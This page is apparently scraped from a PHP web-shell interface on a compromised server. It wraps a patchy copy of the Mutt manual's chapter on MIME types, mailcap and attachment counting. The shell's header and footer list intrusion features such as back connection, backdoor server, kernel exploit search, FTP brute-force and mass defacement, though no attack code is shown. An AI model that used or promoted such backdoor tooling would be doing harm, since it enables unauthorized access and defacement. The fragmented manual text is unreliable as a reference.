IP Address: 80.252.133.24:443 You: 216.73.216.93
| |||||||||||||||||||
|
| ||||||||||||||||||
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON | |||||||||||||||||||
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, | |||||||||||||||||||
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ] |
|||||||||||||||||||
| |||||||||||||||||||
/ usr/ share/ doc/ mutt/ html/ - drwxr-xr-x |
Viewing file:
Select action/file-type: Table of Contents
Quite a bit of effort has been made to make Mutt the premier text-mode
MIME MUA. Every effort has been made to provide the functionality that
the discerning MIME user requires, and the conformance to the standards
wherever possible. When configuring Mutt for MIME, there are two extra
types of configuration files which Mutt uses. One is the
MIME is short for “Multipurpose Internet Mail Extension” and describes mechanisms to internationalize and structure mail messages. Before the introduction of MIME, messages had a single text part and were limited to us-ascii header and content. With MIME, messages can have attachments (and even attachments which itself have attachments and thus form a tree structure), nearly arbitrary characters can be used for sender names, recipients and subjects.
Besides the handling of non-ascii characters in message headers, to Mutt
the most important aspect of MIME are so-called MIME types. These are
constructed using a major and
minor type separated by a forward slash. These
specify details about the content that follows. Based upon these, Mutt
decides how to handle this part. The most popular major type is
“
MIME also defines a set of encoding schemes for transporting MIME
content over the network: Mutt does most of MIME encoding/decoding behind the scenes to form messages conforming to MIME on the sending side. On reception, it can be flexibly configured as to how what MIME structure is displayed (and if it's displayed): these decisions are based on the content's MIME type. There are three areas/menus in dealing with MIME: the pager (while viewing a message), the attachment menu and the compose menu.
When you select a message from the index and view it in the pager, Mutt
decodes as much of a message as possible to a text representation. Mutt
internally supports a number of MIME types, including the
Mutt will denote attachments with a couple lines describing them. These lines are of the form: [-- Attachment #1: Description --] [-- Type: text/plain, Encoding: 7bit, Size: 10000 --] Where the Description is the description or filename given for the attachment, and the Encoding is one of the already mentioned content encodings. If Mutt cannot deal with a MIME type, it will display a message like: [-- image/gif is unsupported (use 'v' to view this part) --]
The default binding for
Finally, you can apply the usual message-related functions (like See table Table 9.7, “Default Attachment Menu Bindings” for all available functions. The compose menu is the menu you see before you send a message. It allows you to edit the recipient list, the subject, and other aspects of your message. It also contains a list of the attachments of your message, including the main body. From this menu, you can print, copy, filter, pipe, edit, compose, review, and rename an attachment or a list of tagged attachments. You can also modifying the attachment information, notably the type, encoding and description. Attachments appear as follows by default: - 1 [text/plain, 7bit, 1K] /tmp/mutt-euler-8082-0 <no description> 2 [applica/x-gunzip, base64, 422K] ~/src/mutt-0.85.tar.gz <no description>
The “-” denotes that Mutt will delete the file after
sending (or postponing, or canceling) the message. It can be toggled
with the
To get most out of MIME, it's important that a MIME part's content type
matches the content as closely as possible so that the recipient's
client can automatically select the right viewer for the
content. However, there's no reliable for Mutt to know how to detect
every possible file type. Instead, it uses a simple plain text mapping
file that specifies what file extension corresponds to what MIME
type. This file is called
When you add an attachment to your mail message, Mutt searches your
personal Each line starts with the full MIME type, followed by a space and space-separated list of file extensions. For example you could use: Example 5.1. application/postscript ps eps application/pgp pgp audio/x-aiff aif aifc aiff
A sample
If Mutt can not determine the MIME type by the extension of the file you
attach, it will look at the file. If the file is free of binary
information, Mutt will assume that the file is plain text, and mark it
as Table 5.1. Supported MIME types
MIME types are not arbitrary, they need to be assigned by IANA. Mutt supports RFC 1524 MIME Configuration, in particular the Unix specific format specified in Appendix A of RFC 1524. This file format is commonly referred to as the “mailcap” format. Many MIME compliant programs utilize the mailcap format, allowing you to specify handling for all MIME types in one place for all programs. Programs known to use this format include Firefox, lynx and metamail. In order to handle various MIME types that Mutt doesn't have built-in support for, it parses a series of external configuration files to find an external handler. The default search string for these files is a colon delimited list containing the following files:
where The default search path can be obtained by running the following command: mutt -nF /dev/null -Q mailcap_path
In particular, the metamail distribution will install a mailcap file,
usually as A mailcap file consists of a series of lines which are comments, blank, or definitions. A comment line consists of a # character followed by anything you want. A blank line is blank. A definition line consists of a content type, a view command, and any number of optional fields. Each field of a definition line is divided by a semicolon “;” character.
The content type is specified in the MIME standard
“type/subtype” notation. For example,
The view command is a Unix command for viewing the type specified. There
are two different types of commands supported. The default is to send
the body of the MIME message to the command on stdin. You can change
this behavior by using
So, in the simplest form, you can send a text/plain; more Or, you could send the message as a file: text/plain; more %s
Perhaps you would like to use lynx to interactively view a
text/html; lynx %s
In this case, lynx does not support viewing a file from standard input,
so you must use the Note
Some older versions of lynx contain a bug where they will
check the mailcap file for a viewer for
On the other hand, maybe you don't want to use lynx interactively, you
just want to have it convert the text/html; lynx -dump %s | more
Perhaps you wish to use lynx to view text/html; lynx %s text/*; more
The interpretation of shell meta-characters embedded in MIME parameters
can lead to security problems in general. Mutt tries to quote
parameters in expansion of Although Mutt's procedures to invoke programs with mailcap seem to be safe, there are other applications parsing mailcap, maybe taking less care of it. Therefore you should pay attention to the following rules: Keep the %-expandos away from shell quoting. Don't quote them with single or double quotes. Mutt does this for you, the right way, as should any other program which interprets mailcap. Don't put them into backtick expansions. Be highly careful with evil statements, and avoid them if possible at all. Trying to fix broken behavior with quotes introduces new leaks — there is no alternative to correct quoting in the first place.
If you have to use the %-expandos' values in context where you need
quoting or backtick expansions, put that value into a shell variable and
reference the shell variable where necessary, as in the following
example (using text/test-mailcap-bug; cat %s; copiousoutput; test=charset=%{charset} \ && test "`echo $charset | tr '[A-Z]' '[a-z]'`" != iso-8859-1 In addition to the required content-type and view command fields, you can add semi-colon “;” separated fields to set flags and other options. Mutt recognizes the following optional fields:
When searching for an entry in the mailcap file, Mutt will search for
the most useful entry for its purpose. For instance, if you are
attempting to print an image/*; xv %s image/gif; ; print= anytopnm %s | pnmtops | lpr; \ nametemplate=%s.gif
Mutt will skip the
In addition, you can use this with auto_view to denote two
commands for viewing an attachment, one to be viewed automatically, the
other to be viewed interactively from the attachment menu using the
text/html; firefox -remote 'openURL(%s)' ; test=RunningX text/html; lynx %s; nametemplate=%s.html text/html; lynx -dump %s; nametemplate=%s.html; copiousoutput
For auto_view, Mutt
will choose the third entry because of the
Entries with the
The various commands defined in the mailcap files are passed to the
Mutt does not currently support the This mailcap file is fairly simple and standard: # I'm always running X :) video/*; xanim %s > /dev/null image/*; xv %s > /dev/null # I'm always running firefox (if my computer had more memory, maybe) text/html; firefox -remote 'openURL(%s)' This mailcap file shows quite a number of examples: # Use xanim to view all videos Xanim produces a header on startup, # send that to /dev/null so I don't see it video/*; xanim %s > /dev/null # Send html to a running firefox by remote text/html; firefox -remote 'openURL(%s)'; test=RunningFirefox # If I'm not running firefox but I am running X, start firefox on the # object text/html; firefox %s; test=RunningX # Else use lynx to view it as text text/html; lynx %s # This version would convert the text/html to text/plain text/html; lynx -dump %s; copiousoutput # I use enscript to print text in two columns to a page text/*; more %s; print=enscript -2Gr %s # Firefox adds a flag to tell itself to view jpegs internally image/jpeg;xv %s; x-mozilla-flags=internal # Use xv to view images if I'm running X # In addition, this uses the \ to extend the line and set my editor # for images image/*;xv %s; test=RunningX; \ edit=xpaint %s # Convert images to text using the netpbm tools image/*; (anytopnm %s | pnmscale -xysize 80 46 | ppmtopgm | pgmtopbm | pbmtoascii -1x2 ) 2>&1 ; copiousoutput # Send excel spreadsheets to my NT box application/ms-excel; open.pl %s Usage:
In addition to explicitly telling Mutt to view an attachment with the MIME viewer defined in the mailcap file from the attachments menu, Mutt has support for automatically viewing MIME attachments while in the pager.
For this to work, you must define a viewer in the mailcap file which
uses the You then use the auto_view configuration command to list the content-types that you wish to view automatically. For instance, if you set it to: auto_view text/html application/x-gunzip \ application/postscript image/gif application/x-tar-gz ...Mutt would try to find corresponding entries for rendering attachments of these types as text. A corresponding mailcap could look like: text/html; lynx -dump %s; copiousoutput; nametemplate=%s.html image/*; anytopnm %s | pnmscale -xsize 80 -ysize 50 | ppmtopgm | \ pgmtopbm | pbmtoascii ; copiousoutput application/x-gunzip; gzcat; copiousoutput application/x-tar-gz; gunzip -c %s | tar -tf - ; copiousoutput application/postscript; ps2ascii %s; copiousoutput unauto_view can be used to remove previous entries from the auto_view list. This can be used with message-hook to autoview messages based on size, etc. “unauto_view *” will remove all previous entries.
The
Mutt has some heuristics for determining which attachment of a
To remove a MIME type from the alternative_order list, use the unalternative_order command. If you ever lose track of attachments in your mailboxes, Mutt's attachment-counting and -searching support might be for you. You can make your message index display the number of qualifying attachments in each message, or search for messages by attachment count. You also can configure what kinds of attachments qualify for this feature with the attachments and unattachments commands. In order to provide this information, Mutt needs to fully MIME-parse all messages affected first. This can slow down operation especially for remote mail folders such as IMAP because all messages have to be downloaded first regardless whether the user really wants to view them or not though using Section 7.2, “Body Caching” usually means to download the message just once. The syntax is:
disposition is the attachment's Content-Disposition
type — either Disposition is prefixed by either a “+” symbol or a “-” symbol. If it's a “+”, you're saying that you want to allow this disposition and MIME type to qualify. If it's a “-”, you're saying that this disposition and MIME type is an exception to previous “+” rules. There are examples below of how this is useful.
mime-type is the MIME type of the attachment you
want the command to affect. A MIME type is always of the format
The MIME types you give to the attachments directive are a kind of pattern. When you use the attachments directive, the patterns you specify are added to a list. When you use unattachments, the pattern is removed from the list. The patterns are not expanded and matched to specific MIME types at this time — they're just text in a list. They're only matched when actually evaluating a message. Some examples might help to illustrate. The examples that are not commented out define the default configuration of the lists. Example 5.2. Attachment counting # Removing a pattern from a list removes that pattern literally. It # does not remove any type matching the pattern. # # attachments +A */.* # attachments +A image/jpeg # unattachments +A */.* # # This leaves "attached" image/jpeg files on the allowed attachments # list. It does not remove all items, as you might expect, because the # second */.* is not a matching expression at this time. # # Remember: "unattachments" only undoes what "attachments" has done! # It does not trigger any matching on actual messages. # Qualify any MIME part with an "attachment" disposition, EXCEPT for # text/x-vcard and application/pgp parts. (PGP parts are already known # to mutt, and can be searched for with ~g, ~G, and ~k.) # # I've added x-pkcs7 to this, since it functions (for S/MIME) # analogously to PGP signature attachments. S/MIME isn't supported # in a stock mutt build, but we can still treat it specially here. # attachments +A */.* attachments -A text/x-vcard application/pgp.* attachments -A application/x-pkcs7-.* # Discount all MIME parts with an "inline" disposition, unless they're # text/plain. (Why inline a text/plain part unless it's external to the # message flow?) attachments +I text/plain # These two lines make Mutt qualify MIME containers. (So, for example, # a message/rfc822 forward will count as an attachment.) The first # line is unnecessary if you already have "attach-allow */.*", of # course. These are off by default! The MIME elements contained # within a message/* or multipart/* are still examined, even if the # containers themselves don't qualify. #attachments +A message/.* multipart/.* #attachments +I message/.* multipart/.* ## You probably don't really care to know about deleted attachments. attachments -A message/external-body attachments -I message/external-body Entering the command “attachments ?” as a command will list your current settings in Muttrc format, so that it can be pasted elsewhere. Usage:
Mutt's mime_lookup list specifies a list of MIME
types that should not be treated according to their
mailcap entry. This option is designed to deal with binary types such
as mime_lookup application/octet-stream application/X-Lotus-Manuscript
In addition, the |
Command: | |
Quick Commands: | |
Upload: | |
PHP Filesystem: |
<@ |
Search File: | |
Create File: | |
View File: | |
Mass Defacement: |